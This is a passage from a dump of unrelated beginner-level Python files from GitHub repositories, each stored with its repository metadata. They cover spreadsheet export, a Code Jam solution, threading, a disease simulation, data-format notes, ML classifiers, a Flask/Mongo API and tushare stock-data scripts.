1\n# serial_num = 1\n#\n# for portfolio_item in portfolio_stock_list:\n# worksheet.update_cell(row, outer_col, serial_num)\n# col = outer_col + 1\n# for index in range(len(heading_keys) - 1):\n# worksheet.update_cell(row, col, portfolio_item[heading_keys[index + 1]])\n# col += 1\n# row += 1\n# serial_num += 1\n\n# asyncio.sleep(0.05)\n\nasync def create_portfolio_xlsx(risk_profile , heading_keys, portfolio_stock_list):\n risk_profile = \"High Risk\"\n today_date = datetime.now().date().strftime(\"%d %b, %Y\")\n subprocess.call([\"rm\", \"portfolio.xlsx\"])\n workbook = xlsxwriter.Workbook('portfolio.xlsx')\n\n worksheet = workbook.add_worksheet()\n\n worksheet.write(0, 1, today_date)\n worksheet.write(1, 1, risk_profile)\n heading_row = 3\n heading_column = 0\n for heading in heading_keys:\n worksheet.write(heading_row, heading_column, heading)\n heading_column += 1\n\n\n row = 4\n outer_col = 0\n serial_num = 0\n\n for portfolio_item in portfolio_stock_list:\n worksheet.write(row, outer_col, serial_num)\n col = outer_col + 1\n for index in range(len(heading_keys)-1):\n worksheet.write(row, col, portfolio_item[heading_keys[index + 1]])\n col += 1\n row += 1\n serial_num += 1\n # asyncio.sleep(0.05)\n workbook.close()\n\nexport_xlsx_to_spreadsheet()\n\n\n\n# from Google import Create_Service\n# import win32com.client as win32\n#\n# xlApp = win32.Dispatch('Excel.Application')\n# wb = xlApp.Workbooks.Open(r\"<Excel File Path>\")\n# ws = wb.Worksheets('<Worksheet Name>')\n# rngData = ws.Range('A1').CurrentRegion()\n#\n# # Google Sheet Id\n# gsheet_id = '<Google Sheet Id>'\n# CLIENT_SECRET_FILE = 'client_secret.json'\n# API_SERVICE_NAME = 'sheets'\n# API_VERSION = 'v4'\n# SCOPES = ['https://www.googleapis.com/auth/spreadsheets']\n# service = Create_Service(CLIENT_SECRET_FILE, API_SERVICE_NAME, API_VERSION, SCOPES)\n#\n# response = service.spreadsheets().values().append(\n# spreadsheetId=gsheet_id,\n# valueInputOption='RAW',\n# range='WorksheetName!A1',\n# body=dict(\n# majorDimension='ROWS',\n# values=rngData\n# )\n# ).execute()","repo_name":"rk1110047/portfolio_builder_cli","sub_path":"src/portfoliocreator.py","file_name":"portfoliocreator.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23631154001","text":"import sys\r\n\r\ndic = {'a': 'y', 'c': 'e', 'b': 'h', 'e': 'o', 'd': 's', 'g': 'v', 'f': 'c', 'i': 'd', 'h': 'x', 'k': 'i', 'j': 'u', 'm': 'l', 'l': 'g', 'o': 'k', 'n': 'b', 'q': 'z', 'p': 'r', 's': 'n', 'r': 't', 'u': 'j', 't': 'w', 'w': 'f', 'v': 'p', 'y': 'a', 'x': 'm', 'z': 'q'}\r\nres = \"\"\r\n\r\nwith open(sys.argv[1], 'r') as fin:\r\n\r\n line = fin.readline()\r\n linenum = int(line.strip())\r\n \r\n for i in range(linenum):\r\n resl = \"\"\r\n line = fin.readline()\r\n \r\n for j in range(len(line)):\r\n if line[j] in dic:\r\n resl += dic[line[j]]\r\n else:\r\n resl += line[j]\r\n\r\n res += \"Case #\"+str(i+1)+\": \"+resl\r\n\r\nwith open(\"out.txt\", 'w') as fout:\r\n fout.write(res)\r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_95/1594.py","file_name":"1594.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41948235562","text":"import dbfunctions as db\nimport literales as l\nimport functions as f\n\ndef main():\n db.create_db()\n db.create_table() \n\n menu = int(input(l.MENU))\n f.menu_principal(menu)\n while menu != 0:\n menu = int(input(l.MENU))\n f.menu_principal(menu) \n \nif __name__ == \"__main__\":\n main()","repo_name":"IFloresCh/IFloresCh-UF3-Python","sub_path":"Actividad-09-10/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33760208998","text":"import threading\r\nimport time\r\nfrom queue import Queue\r\n\r\na = Queue()#定义queue\r\nb = 0\r\nlock = threading.Lock()\r\nfor i in range(1,20):\r\n a.put(i)\r\n#多线程去除queue的值,造成可以同步的效果\r\ndef output(name):\r\n global b\r\n while not a.empty():\r\n print('this is '+ name +' '+ str(a.get()) + time.ctime(time.time()))\r\n time.sleep(1)\r\n lock.acquire()\r\n print('加锁了')\r\n c = b\r\n c+= 1\r\n b = c\r\n lock.release()\r\n print('解锁了')\r\n print('i am out')\r\n# 创建新线程\r\nprint(str(threading.active_count()))\r\na1 = threading.Thread(target = output,args = ('first',))\r\na2 = threading.Thread(target = output,args = ('second',))\r\n\r\n# 开启线程\r\na1.start()\r\na2.start()\r\n#join用来判定该线程是否执行完,如果未执行完将阻塞主线程,直至完成\r\na1.join()\r\nprint('a1 is quit')\r\na2.join()\r\nprint('a2 is quit')\r\n\r\nprint (\"退出主线程\")","repo_name":"code-killerr/python_practise","sub_path":"python practise/多线程.py","file_name":"多线程.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"7108455643","text":"import random\nimport matplotlib.pyplot as plt\nfrom HumanClass import Human\nfrom DiseaseClass import Disease\n\ndef random_name_gen():\n name = ''\n vowels = ['a', 'e', 'i', 'o', 'u']\n consonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\n for i in range(random.randint(3, 10)):\n if name == '':\n if (random.randint(1, 2)) == 2:\n name += random.choice(vowels)\n else:\n name += random.choice(consonants)\n else:\n if name[-1] in vowels:\n name += random.choice(consonants)\n else:\n name += random.choice(vowels)\n return name\n\n#initialisation of disease and population\npopulation = []\nfor i in range(10000):\n population.append(Human(random_name_gen()))\nd1 = Disease('Sars-Cov-2 Omicron Ba2', 7, 0.03, 7)\n\n#main routine initialisation\nnumber_of_inital_infections = 1\nfor i in range(number_of_inital_infections):\n prime_infector = random.choice(population)\n prime_infector.infect_human(1)\n\ndef get_number_of_infected_people(population):\n count = 0\n for person in population:\n if person.is_infected() == True:\n count += 1\n return count\n\ndef day(population, days_num, d1):\n random.shuffle(population)\n cur_num_of_cases = get_number_of_infected_people(population)\n new_cases = 0\n new_deaths = 0\n r_naught = d1.get_r_naught()\n severity = d1.get_severity()\n period = d1.get_period()\n #run through the population and infect random 7 people for each current case (need r_naught)\n for i in range(cur_num_of_cases):\n r_naught = d1.get_r_naught()\n for person in population:\n if r_naught > 0:\n if person.is_infected() == False:\n person.infect_human(days_num)\n d1.add_infection()\n new_cases += 1\n r_naught -= 1\n else:\n break\n #run through population and check every infected person for being healed (need period)\n for person in population:\n if person.is_infected() == True:\n if (days_num - person.get_day_of_infection()) >= period:\n person.disinfect_human()\n #run through population and randomly kill off an infected person based on the severity (need severity)\n for person in population:\n if person.is_infected() == True:\n if random.random() <= severity:\n population.pop(population.index(person))\n d1.add_death()\n new_deaths += 1\n d1.daily_update(new_cases, new_deaths)\n print(\"Day:\", days_num)\n print(\"New Cases:\", new_cases)\n print(\"New Deaths:\", new_deaths)\n return population\n\n#main routine proper \ndays_num = 1\nwhile True:\n ui = int(input(\"Enter number of days to skip forward -: \"))\n for i in range(ui):\n population = day(population, days_num, d1)\n days_num += 1\n plt.plot(d1.get_daily_infections(), label='Daily Cases')\n plt.plot(d1.get_daily_deaths(), label='Daily Cases')\n plt.show()\n print(d1)\n","repo_name":"Radenfar/adaptionSim","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11216249800","text":"#\n# [438] Find All Anagrams in a String\n#\n# https://leetcode.com/problems/find-all-anagrams-in-a-string/description/\n#\n# algorithms\n# Easy (33.95%)\n# Total Accepted: 57.4K\n# Total Submissions: 169K\n# Testcase Example: '\"cbaebabacd\"\\n\"abc\"'\n#\n# Given a string s and a non-empty string p, find all the start indices of p's\n# anagrams in s.\n# \n# Strings consists of lowercase English letters only and the length of both\n# strings s and p will not be larger than 20,100.\n# \n# The order of output does not matter.\n# \n# Example 1:\n# \n# Input:\n# s: \"cbaebabacd\" p: \"abc\"\n# \n# Output:\n# [0, 6]\n# \n# Explanation:\n# The substring with start index = 0 is \"cba\", which is an anagram of \"abc\".\n# The substring with start index = 6 is \"bac\", which is an anagram of \"abc\".\n# \n# \n# \n# Example 2:\n# \n# Input:\n# s: \"abab\" p: \"ab\"\n# \n# Output:\n# [0, 1, 2]\n# \n# Explanation:\n# The substring with start index = 0 is \"ab\", which is an anagram of \"ab\".\n# The substring with start index = 1 is \"ba\", which is an anagram of \"ab\".\n# The substring with start index = 2 is \"ab\", which is an anagram of \"ab\".\n# \n# \n#\nclass Solution(object):\n def findAnagrams(self, s, p):\n \"\"\"\n :type s: str\n :type p: str\n :rtype: List[int]\n \"\"\"\n _p = sorted(p)\n n = len(p)\n rs = []\n for i in range(len(s) - n + 1):\n if s[i] in _p and sorted(s[i:i+n]) == _p:\n rs.append(i)\n return rs\n","repo_name":"goalong/lc","sub_path":"v1/438.find-all-anagrams-in-a-string.136876842.notac.py","file_name":"438.find-all-anagrams-in-a-string.136876842.notac.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"15296743145","text":"import os\nimport pickle\n\ndef get_dat_index(root, dir_name, index_list, has_high):\n low_dir = dir_name + '_l'\n for _, dirs, _ in os.walk(os.path.join(root), low_dir):\n for dir in dirs:\n abs_dir = os.path.join(root, low_dir, dir)\n for _, _, files in os.walk(abs_dir):\n file_nums = len(files)\n print(file_nums)\n for file in files:\n tmp_dict = {}\n tmp_dict['image'] = file\n tmp_dict['nums'] = file_nums\n tmp_dict['low_dir'] = os.path.join(low_dir, dir)\n if has_high:\n high_dir = dir_name + '_h_GT'\n tmp_dict['high_dir'] = os.path.join(high_dir, dir)\n index_list.append(tmp_dict)\n return index_list\n\nif __name__ == '__main__':\n root_dir = 'images'\n train_index = []\n val_index = []\n train_names = ['youku_00000_00049', 'youku_00050_00099', 'youku_00100_00149']\n val_names = ['youku_00150_00199']\n\n for name in train_names:\n train_index = get_dat_index(root_dir, name, train_index, True)\n\n for name in val_names:\n val_index = get_dat_index(root_dir, name, val_index, True)\n\n pickle.dump(train_index, open('train.pkl', 'wb'))\n pickle.dump(val_index, open('val.pkl', 'wb'))\n\n","repo_name":"summit1993/I-am-Super","sub_path":"Core/get_data_index.py","file_name":"get_data_index.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"61"} +{"seq_id":"13253846793","text":"#excel xls spreadsheets\nimport pandas as pd\ndata=pd.ExcelFile('urbanpop.xlsx')\nprint(data.sheet_names)\ndf1=data.parse('tab_name') # or df1=data.parse(0) #sheet index\n#customizing\n#df=data.parse('tab_name',skiprows=[0],names=['rename'], usecols=[0]) #names arg is to set the column names\n\n#OS\nimport os\nos.listdir(os.getcwd())\n\n#Pickle files\n# Import pickle package\nimport pickle\nwith open('data.pkl', mode=\"rb\") as file: # Open pickle file and load data: d\n d = pickle.load(file)\nprint(d)# Print d\nprint(type(d))# Print datatype of d\n\n#SAS statistical analysis system, Stata = statistics+data\nimport pandas as pd\nfrom sas7bdat import SAS7BDAT #or if SAS7BCAT\nwith SAS7BDAT('urbanpop.sas7bdat') as file:\n\tdf_sas = file.to_data_frame()\n\ndata = pd.read_stata('urbanpop.dta') #for stata files\n\n#for HDF5 files Hierachical Data Format\nimport h5py\ndata = h5py.File('','r')\n#data.keys() #meta, quality, strain\n#data['_']['_'].value\n\n#matlab matrix lab (.mat)\n#scipy.io.save_mat/load_mat\nimport scipy.io\nmat = scipy.io.loadmat('filename.mat')\nprint(mat['x'])\n\n#sql, dataacademy uses sqlalchemy\nfrom sqlalchemy import create_engine\nengine = create_engine('sqlite:///northwind.sqlite')\ntable_names = engine.table_names()\nprint(table_names)\ncon = engine.connect() #connect to the engine\nrs = con.execute('SELECT * FROM orders') #sqlalchemy results object\ndf = pd.DataFrame(rs.fetchall())\n#df = pd.DataFrame(rs.fetchmany(size=5))\ndf.columns = rs.keys() #keys have to be explicitly set\ncon.close() #close connection\n\n\"\"\"to prevent forgetting to close something try using context manager\"\"\"\n#with engine.connect() as con:\n#\t...\n\n\"\"\"an easier method to do everything in one line\"\"\"\ndf = pd.read_sql_query('SELECT * FROM ORDERS', engine)\n\n","repo_name":"elixias/kaggle-python","sub_path":"datacamp5.py","file_name":"datacamp5.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71653735873","text":"class Electrodomestico:\n\n def __init__(self, precio=100, color=\"blanco\", consumo=\"F\", peso=5):\n self.precio = precio\n self.color = color\n self.consumo = consumo\n self.peso = peso\n\n def getprecio(self):\n return self.precio\n\n def getconsumo(self):\n return self.consumo\n\n def getcolor(self):\n return self.color\n\n def getpeso(self):\n return self.peso\n\n def comprobarconsumo(self, letra):\n if letra != \"A\" and letra != \"B\" and letra != \"C\" and letra != \"D\" and letra != \"E\":\n self.consumo = \"F\"\n\n def comprobarcolor(self, color):\n if color != \"negro\" and color != \"gris\":\n self.color = \"blanco\"\n\n def preciofinal(self):\n if self.consumo == \"A\":\n self.precio += 100\n if self.consumo == \"B\":\n self.precio += 80\n if self.consumo == \"C\":\n self.precio += 60\n if self.consumo == \"D\":\n self.precio += 50\n if self.consumo == \"E\":\n self.precio += 30\n if self.consumo == \"F\":\n self.precio += 10\n\n if 0 <= self.peso <= 19:\n self.precio += 10\n elif 20 <= self.peso <= 49:\n self.precio += 50\n elif 50 <= self.peso <= 79:\n self.precio += 80\n elif 80 >= self.peso:\n self.precio += 100\n\n def imprimir(self):\n print(\"Precio: \" + str(self.precio))\n print(\"Color: \" + str(self.color))\n print(\"Consumo: \" + str(self.consumo))\n print(\"Peso: \" + str(self.peso))\n\nclass Lavadora(Electrodomestico):\n\n def __init__(self, carga=5, precio=100, color=\"blanco\", consumo=\"F\", peso=5):\n self.carga = carga\n Electrodomestico.__init__(self, precio, color, consumo, peso)\n\n def getcarga(self):\n return self.carga\n\n def preciofinal(self):\n Electrodomestico.preciofinal(self)\n if self.carga > 30:\n self.precio += 50\n\n def imprimir(self):\n print(\"Carga: \", self.carga)\n Electrodomestico.imprimir(self)\n\nclass Television(Electrodomestico):\n\n def __init__(self, resolucion=20, fourK=False, precio=100, color=\"blanco\", consumo=\"F\", peso=5):\n self.resolucion = resolucion\n self.fourK = fourK\n Electrodomestico.__init__(self, precio, color, consumo, peso)\n\n def getresolucion(self):\n return self.resolucion\n\n def gettdt(self):\n return self.fourK\n\n def preciofinal(self):\n Electrodomestico.preciofinal(self)\n if self.fourK:\n self.precio += 50\n\n if self.resolucion > 40:\n self.precio *= 1.3\n\n def imprimir(self):\n print(\"Resolucion: \", self.resolucion)\n if self.fourK:\n print(\"Listo para 4K\")\n else:\n print(\"No tiene 4K\")\n Electrodomestico.imprimir(self)\n\nclass Main:\n\n e1 = Lavadora()\n e1.preciofinal()\n print(\"Lavadora 1: \")\n e1.imprimir()\n\n e2 = Lavadora(400, 200)\n e2.preciofinal()\n print(\"\\nLavadora 2: \")\n e2.imprimir()\n\n e3 = Lavadora(10, 500, \"gris\", \"D\", 200)\n e3.preciofinal()\n print(\"\\nLavadora 3: \")\n e3.imprimir()\n\n print(\"\\nPrecio de las lavadoras: \", e1.getprecio() + e2.getprecio() + e3.getprecio())\n\n e4 = Television()\n e4.preciofinal()\n print(\"\\nTelevision 1: \")\n e4.imprimir()\n\n e5 = Television(600, 50)\n e5.preciofinal()\n print(\"\\nTelevision 2: \")\n e5.imprimir()\n\n e6 = Television(60, True, 800, \"negro\", \"C,\", 100)\n e6.preciofinal()\n print(\"\\nTelevision 3: \")\n e6.imprimir()\n\n print(\"\\nPrecio de las televisiones: \", e4.getprecio() + e5.getprecio() + e6.getprecio())\n\n e7 = Electrodomestico()\n e7.preciofinal()\n print(\"\\nElectrodomestico 1: \")\n e7.imprimir()\n\n e8 = Electrodomestico(200, 50)\n e8.preciofinal()\n print(\"\\nElectrodomestico 1: \")\n e8.imprimir()\n\n e9 = Electrodomestico(400, \"negro\", \"B\", 100)\n e9.preciofinal()\n print(\"\\nElectrodomestico 1: \")\n e9.imprimir()\n\n print(\"\\nPrecio de los electrodomesticos: \", e1.getprecio() + e2.getprecio() + e3.getprecio() + e4.getprecio() +\n e5.getprecio() + e6.getprecio() + e7.getprecio() + e8.getprecio() + e9.getprecio())\n\nMain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"dcasmor/PooPython","sub_path":"Electrodomestico.py","file_name":"Electrodomestico.py","file_ext":"py","file_size_in_byte":4262,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1108709365","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import dates\r\nimport datetime\r\n\r\ndef readFile(FileName, pair):\r\n\tdata = pd.read_csv(FileName, usecols=['Date', 'Time', 'Open'], index_col=False)\r\n\tdata.rename(columns={'Open':'Open ' + pair}, inplace=True)\r\n\tdata['Date Time'] = data['Date'].map(str) + ' ' + data['Time'].map(str)\r\n\tdata.set_index('Date Time', inplace=True)\r\n\tdel data['Date']\r\n\tdel data['Time']\r\n\r\n\treturn data\r\n\r\ndef getAudAndNzdTicks():\r\n\tfileToReadAUD = 'history/AUDUSD.csv'\r\n\tfileToReadNZD = 'history/NZDUSD.csv'\r\n\r\n\taudusd = readFile(fileToReadAUD, 'AUDUSD')\r\n\tnzdusd = readFile(fileToReadNZD, 'NZDUSD')\r\n\r\n\tjoined = audusd.join(nzdusd, how='inner')\r\n\tjoined = joined.fillna(0)\r\n\t# joined.reset_index(inplace=True)\r\n\r\n\t# print(joined.head())\r\n\t# print(joined.loc['2017.02.01':'2017.03.01'])\r\n\r\n\t# return joined['Open AUDUSD'].values, joined['Open NZDUSD'].values\r\n\r\n\treturn joined\r\n\r\nprint('reading data...')\r\n\r\ndf = getAudAndNzdTicks()\r\nperiod = 15\r\n\r\nprint('analyzing data...')\r\n\r\nfor month in range(12, 13):\r\n\tdateFrom = '2017.' + str(\"%02d\" % (month,)) + '.01'\r\n\tdateTo = '2017.' + str(\"%02d\" % (month+1,)) + '.01'\r\n\tmonthDf = df.loc[dateFrom:dateTo]\r\n\tmonthDf.reset_index(inplace=True)\r\n\r\n\tmonthCorrs = []\r\n\tmonthDates = []\r\n\r\n\tprint('analyzing ' + dateFrom + ' - ' + dateTo)\r\n\r\n\tprint(monthDf.head())\r\n\tprint(monthDf.tail())\r\n\r\n\tfor tick in range(0, (len(monthDf) - period), 45):\r\n\t\tmonthCorrs.append(monthDf.iloc[tick:tick + period].corr()['Open AUDUSD']['Open NZDUSD'])\r\n\t\tmonthDates.append(monthDf.iloc[tick]['Date Time'])\r\n\r\n\tprint(monthDates)\r\n\r\n\ty_axis = monthCorrs\r\n\t# x_axis = [i for i in range(1, len(monthCorrs) + 1)]\r\n\tconvertedDates = map(datetime.datetime.strptime, monthDates, len(monthDates)*['%Y.%m.%d %H:%M'])\r\n\tx_axis = [dates.date2num(date) for date in convertedDates]\r\n\t\r\n\tplotTitle = str(period) + ' - ' + dateFrom + ' - ' + dateTo\r\n\r\n\tfig = plt.figure()\r\n\tfig.set_size_inches(15,8)\r\n\tfig.canvas.set_window_title(plotTitle)\r\n\r\n\tplt.plot(x_axis, y_axis, 'g-')\r\n\tplt.ylabel(plotTitle)\r\n\r\n\tax = plt.gcf().axes[0] \r\n\tax.xaxis.set_major_formatter(dates.DateFormatter('%Y.%m.%d %H:%M'))\r\n\t# plt.gcf().autofmt_xdate(rotation=25)\r\n\r\n\r\n\tplt.figtext(0.025, 0.975, \"Avg Corr: \" + str(format(sum(monthCorrs)/len(monthCorrs), 'f')), color=\"black\", weight=500, size=\"medium\")\r\n\r\n\tplt.grid()\r\n\r\n\tplt.show()\r\n\t# plt.savefig('../plots/corrs/' + plotTitle + '.png')\r\n\r\n\tplt.clf()\r\n\tplt.close(fig)\r\n\r\n\tprint('...done')","repo_name":"AVoskoboinikov/ts","sub_path":"www/alpari/map-correlation.py","file_name":"map-correlation.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11293522680","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Nov 5 10:36:33 2020\r\n\r\n@author: 91782\r\n\"\"\"\r\n# k-Fold Cross Validation\r\n\r\n# Importing the libraries\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn.metrics import plot_confusion_matrix, accuracy_score\r\nfrom xgboost import XGBClassifier\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\n\r\n\r\ndef perform_svm(X_train,y_train, X_test, y_test):\r\n\tclassifier = SVC(kernel = 'rbf', random_state = 0)\r\n\tclassifier.fit(X_train, y_train)\r\n\t\r\n\t# Making the Confusion Matrix\r\n\t\r\n\tplot_confusion_matrix(classifier,X_test,y_test)\r\n\tplt.show()\r\n\r\n\t#y_pred = classifier.predict(X_test)\t\r\n\t#accuracy_score(y_test, y_pred)\r\n\t\r\n\t# Applying k-Fold Cross Validation\r\n\t\r\n\taccuracies = cross_val_score(estimator = classifier, X = X_test, y = y_test, cv = 10)\r\n\tprint(\"Accuracy of SVM: {:.2f} %\".format(accuracies.mean()*100))\r\n\tprint(\"Standard Deviation of SVM: {:.2f} %\".format(accuracies.std()*100))\r\n\r\n\r\ndef perform_xgboost(X_train,y_train, X_test, y_test):\r\n\t\r\n\t# XGBoost with GB Decision Trees as classifier\r\n\tclassifier = XGBClassifier()\r\n\tclassifier.fit(X_train, y_train)\r\n\r\n\t# Making the Confusion Matrix\r\n\t#y_pred = classifier.predict(X_test)\r\n\t#accuracy_score(y_test, y_pred))\r\n\t\r\n\tplot_confusion_matrix(classifier, X_test, y_test)\r\n\tplt.show()\r\n\t\r\n\t# Applying k-Fold Cross Validation\r\n\taccuracies = cross_val_score(estimator = classifier, X = X_test, y = y_test, cv = 10)\r\n\tprint(\"Accuracy of XGBoost: {:.2f} %\".format(accuracies.mean()*100))\r\n\tprint(\"Standard Deviation of XGBoost: {:.2f} %\".format(accuracies.std()*100))\r\n\t\r\ndef perform_random_forest(X_train,y_train, X_test, y_test):\r\n\t# Random Forest Classification\r\n\r\n\t# Training the Random Forest Classification model on the Training set\r\n\tclassifier = RandomForestClassifier(n_estimators = 10, criterion = 'entropy', random_state = 0)\r\n\t\r\n\tclassifier.fit(X_train, y_train)\r\n\t# Predicting the Test set results\r\n\t\r\n\t#y_pred = classifier.predict(X_test)\r\n\t\r\n\tplot_confusion_matrix(classifier, X_test, y_test) # doctest: +SKIP\r\n\tplt.show()\r\n\r\n\t# Applying k-Fold Cross Validation\r\n\taccuracies = cross_val_score(estimator = classifier, X = X_test, y = y_test, cv = 10)\r\n\tprint(\"Accuracy of Random Forest: {:.2f} %\".format(accuracies.mean()*100))\r\n\tprint(\"Standard Deviation of Random Forest: {:.2f} %\".format(accuracies.std()*100))\r\n\r\ndef perform_naive_bayes(X_train,y_train, X_test, y_test):\r\n\t#Naive Bayes Classifier\r\n\t\r\n\tclassifier = GaussianNB()\r\n\tclassifier.fit(X_train, y_train)\r\n\r\n\t# Predicting the Test set results\r\n\t#y_pred = classifier.predict(X_test)\r\n\t#print(np.concatenate((y_pred.reshape(len(y_pred),1), y_test.reshape(len(y_test),1)),1))\r\n\r\n\tplot_confusion_matrix(classifier, X_test, y_test)\r\n\tplt.show()\r\n\r\n\t# Applying k-Fold Cross Validation\r\n\taccuracies = cross_val_score(estimator = classifier, X = X_test, y = y_test, cv = 10)\r\n\tprint(\"Accuracy of NB: {:.2f} %\".format(accuracies.mean()*100))\r\n\tprint(\"Standard Deviation of NB: {:.2f} %\".format(accuracies.std()*100))\r\n\t\r\n\t\r\ndef perform_knn(X_train,y_train, X_test, y_test):\r\n\t\r\n\tclassifier = KNeighborsClassifier(n_neighbors = 3, metric = 'minkowski', p = 2)\r\n\tclassifier.fit(X_train, y_train)\r\n\r\n\t# Predicting the Test set results\r\n\t#y_pred = classifier.predict(X_test)\r\n\t#print(np.concatenate((y_pred.reshape(len(y_pred),1), y_test.reshape(len(y_test),1)),1))\r\n\r\n\tplot_confusion_matrix(classifier, X_test, y_test) # doctest: +SKIP\r\n\tplt.show()\r\n\r\n\t# Applying k-Fold Cross Validation\r\n\taccuracies = cross_val_score(estimator = classifier, X = X_test, y = y_test, cv = 10)\r\n\tprint(\"Accuracy of NB: {:.2f} %\".format(accuracies.mean()*100))\r\n\tprint(\"Standard Deviation of NB: {:.2f} %\".format(accuracies.std()*100))\r\n\t# Training the K-NN model on the Training set\r\n\r\n","repo_name":"adithya-ms/cor-project","sub_path":"predictors.py","file_name":"predictors.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18384080354","text":"def cCodeNumberToC1C2(CodeNumber):\n C1 = ((CodeNumber % 790) // 10) + 48\n C2 = ((CodeNumber % 790) % 10) + 48 + 10 * (CodeNumber // 790)\n return chr(C1), chr(C2)\n\ncode2c1c2 = {}\nc1c22code = {}\nfor code in range(6230):\n C1,C2 = cCodeNumberToC1C2(code)\n c1c2 = C1 + C2\n if c1c2 not in c1c22code:\n c1c22code[c1c2] = code\n else:\n print('collision', code, c1c2)\n break\n if code not in code2c1c2:\n code2c1c2[code] = c1c2\n else:\n print('code collision', code, c1c2)\n break\n\nprint('code2c1c2 =', code2c1c2)\nprint('c1c22code =', c1c22code)","repo_name":"wittrup/conte","sub_path":"lab_const_create.py","file_name":"lab_const_create.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"815878593","text":"from flask import Flask\nfrom flask import jsonify\nfrom flask import request\nfrom flask_cors import CORS\nimport json\nfrom flask_pymongo import PyMongo\n\napp = Flask(__name__)\nCORS(app)\n\napp.config['MONGO_DBNAME'] = 'feedbacks'\napp.config['MONGO_URI'] = 'mongodb://localhost:27017/feedbacks'\n\nmongo = PyMongo(app)\n\n@app.route('/', methods=['GET'])\ndef get_all_datas():\n data = mongo.db.feedbacks\n output = []\n for s in data.find():\n output.append({'name' : s['name'], 'opinion' : s['opinion']})\n return jsonify({'result' : output})\n\n@app.route('/feedbacks/add', methods=['POST'])\ndef add_feedback():\n data = mongo.db.feedbacks\n data.insert(request.json)\n\nif __name__ == '__main__':\n app.run(debug=True,port=4000)\n","repo_name":"Akshaykishore/NLP","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14689273768","text":"# _*_ coding:utf-8 _*_\r\n# @Time : 2017-12-04 11:15\r\n# @Author : liupan\r\n# @Email : liupan8910@163.com\r\n\r\nimport tushare as ts\r\nimport pymysql\r\nfrom sqlalchemy import create_engine\r\nimport time\r\nfrom retry import retry\r\nimport pandas as pd\r\n\r\n# connect mysql\r\nengine = create_engine('mysql+pymysql://root:caicai520@127.0.0.1/quantist?charset=utf8')\r\n\r\n\r\n@retry(tries=5, delay=2)\r\ndef save_today():\r\n ts.get_today_all().to_sql(\"today_all\", engine, if_exists='append')\r\n print(\"today_all over\")\r\n\r\n\r\nsave_today()\r\n\r\n\r\n@retry(tries=5, delay=2)\r\ndef save_index():\r\n ts.get_index().to_sql(\"index_stock\", engine, if_exists='append')\r\n print('index....')\r\n\r\n\r\nsave_index()\r\n\r\nfrom retry import retry\r\n\r\n\r\n@retry(tries=5, delay=2)\r\ndef save_sh():\r\n basic_list = [\"sh\", \"sz\", \"hs300\", \"sz50\", \"zxb\", \"cyb\"]\r\n for basic in basic_list:\r\n ts.get_hist_data(basic).to_sql(basic, engine, if_exists='append')\r\n print(basic + \" over\")\r\n\r\n\r\nsave_sh()\r\n\r\nfrom retry import retry\r\n\r\n\r\n@retry(tries=5, delay=2)\r\ndef basic_information():\r\n ts.get_cashflow_data(2017, 1).to_sql('cash_flow', engine, if_exists='append')\r\n ts.get_debtpaying_data(2017, 1).to_sql('debtpaying', engine, if_exists='append')\r\n ts.get_growth_data(2017, 1).to_sql('growth', engine, if_exists='append')\r\n ts.get_operation_data(2017, 1).to_sql('operation', engine, if_exists='append')\r\n ts.get_profit_data(2017, 1).to_sql('profit', engine, if_exists='append')\r\n ts.get_report_data(2017, 2).to_sql('report', engine, if_exists='append')\r\n print('basic information over ....')\r\n\r\n\r\nbasic_information()\r\n\r\n\r\n@retry(tries=5, delay=2)\r\ndef get_today():\r\n today_all = ts.get_today_all()\r\n print(today_all[:5])\r\n\r\n\r\nget_today()\r\n\r\nrealtime = ts.get_realtime_quotes(\"603618\")\r\nrealtime2 = ts.get_realtime_quotes([\"sh\", \"zs\", \"hs300\", \"sz50\", \"zxb\", \"cyb\"])\r\n\r\n# get news\r\n# 